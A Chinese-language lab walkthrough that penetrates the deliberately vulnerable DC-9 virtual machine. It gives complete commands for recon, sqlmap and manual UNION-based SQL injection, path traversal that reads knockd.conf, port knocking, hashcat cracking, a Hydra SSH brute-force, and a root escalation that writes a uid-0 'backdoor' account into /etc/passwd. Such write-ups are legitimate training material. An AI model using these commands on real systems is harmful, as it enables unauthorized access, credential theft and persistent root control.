news 2026/8/17 17:38:40

DC-9靶场实战:从SQL注入到SSH爆破的完整渗透记录(附详细命令)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
DC-9靶场实战:从SQL注入到SSH爆破的完整渗透记录(附详细命令)

DC-9靶场实战:从SQL注入到SSH爆破的完整渗透记录

在网络安全领域,靶机渗透是检验技能最直接的方式之一。DC-9作为经典的渗透测试靶场,融合了多种常见漏洞类型,特别适合希望提升实战能力的安全爱好者。本文将完整还原从Web应用漏洞发现到系统提权的全流程,重点解析SQL注入与SSH爆破这两个关键环节的技术细节。

1. 靶场环境准备与信息收集

搭建实验环境是渗透测试的第一步。DC-9靶机需要运行在VMware或VirtualBox等虚拟化平台中,建议使用Kali Linux作为攻击机。网络配置采用NAT模式即可,无需复杂设置。

基础信息收集四步法

  1. 主机发现
    使用arp-scan快速定位靶机IP:

    arp-scan -l --interface=eth0
  2. 端口扫描
    Nmap的TCP全连接扫描能准确识别开放服务:

    nmap -sT -p- 192.168.1.100 -v

    典型扫描结果会显示80端口的Web服务,而SSH端口可能显示为filtered状态。

  3. 目录枚举
    Gobuster比传统工具更高效:

    gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html
  4. 页面功能探测
    重点关注搜索框、登录表单等用户输入点。在DC-9中,/results.php页面的搜索功能是突破口。

提示:信息收集阶段要建立完整的攻击面清单,记录每个发现的服务版本、路径和功能点。

2. SQL注入漏洞深度利用

发现搜索功能存在注入点后,我们分阶段进行漏洞利用:

2.1 自动化注入工具实战

sqlmap的高级参数组合能应对复杂注入场景:

sqlmap -u "http://192.168.1.100/results.php" --method=POST --data="search=test" --level=5 --risk=3 --batch --dbms=mysql --os-shell

关键参数解析

  • --level:检测深度(1-5)
  • --risk:风险等级(1-3)
  • --os-shell:尝试获取系统shell

2.2 手动注入技巧

当自动化工具受限时,手工注入依然有效:

' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -

数据提取路线图

  1. 爆当前数据库名 → 2. 爆表名 → 3. 爆字段 → 4. 导出数据

2.3 密码破解实战

获取到的MD5哈希需要解密:

hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

若在线解密失败,可尝试彩虹表攻击或组合字典攻击。

3. 突破边界:SSH服务攻击链

3.1 端口敲门技术解析

当发现SSH端口被过滤时,端口敲门(Port Knocking)可能是突破口。通过读取/etc/knockd.conf获取敲门序列:

curl "http://192.168.1.100/addrecord.php?file=../../../../../etc/knockd.conf"

执行敲门序列:

for port in 7469 8475 9842; do nc -z 192.168.1.100 $port; done

3.2 高效SSH爆破策略

使用Hydra进行精准爆破:

hydra -L users.txt -P passwords.txt -t 4 -vV 192.168.1.100 ssh

爆破优化技巧

  • -t:控制线程数避免被封
  • -vV:显示详细过程
  • 优先尝试已获取的凭证组合

3.3 凭证整理与权限提升

发现.ssh目录中的备用密码文件:

find / -name ".*" -type d -exec ls -la {} \; 2>/dev/null

将找到的密码加入字典进行二次爆破。

4. 特权升级与后渗透

4.1 SUID程序滥用

发现具有SUID权限的Python脚本:

#!/usr/bin/python import sys if len(sys.argv) != 3: print("Usage: python test.py read append") sys.exit(1) else: f = open(sys.argv[1], "r") output = (f.read()) f = open(sys.argv[2], "a") f.write(output) f.close()

4.2 创建特权用户

生成加密密码:

openssl passwd -1 -salt backdoor backdoor123

构造特权用户条目:

echo 'backdoor:$1$backdoor$XGQwHx1ZqB6ErBDFYRQxH.:0:0::/root:/bin/bash' > /tmp/backdoor

利用漏洞写入:

sudo ./test /tmp/backdoor /etc/passwd

4.3 最终权限获取

切换新建的特权用户:

su backdoor Password: backdoor123

在渗透测试过程中,每个步骤都需要仔细记录操作命令和输出结果。遇到问题时,建议:

  • 检查命令语法和参数
  • 确认网络连接状态
  • 查看目标系统日志获取错误信息
  • 尝试替代工具或方法
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/14 16:15:04

KART-RERANK模型在计算机组成原理教学中的趣味应用:硬件模块关联猜谜

KART-RERANK模型在计算机组成原理教学中的趣味应用:硬件模块关联猜谜 计算机组成原理这门课,对很多学生来说,就像在学一门“外星语”。CPU、内存、总线、寄存器……这些名词一个个蹦出来,它们之间到底是怎么“说话”、怎么“合作…

作者头像 李华
网站建设 2026/7/14 16:15:07

C语言程序设计在线考试系统毕业论文

目录题目摘要引言系统需求分析系统设计核心功能实现系统测试结论与展望参考文献附录(可选)项目技术支持源码LW获取详细视频演示 :文章底部获取博主联系方式!同行可合作题目 基于C语言的在线考试系统设计与实现 摘要 简要说明研…

作者头像 李华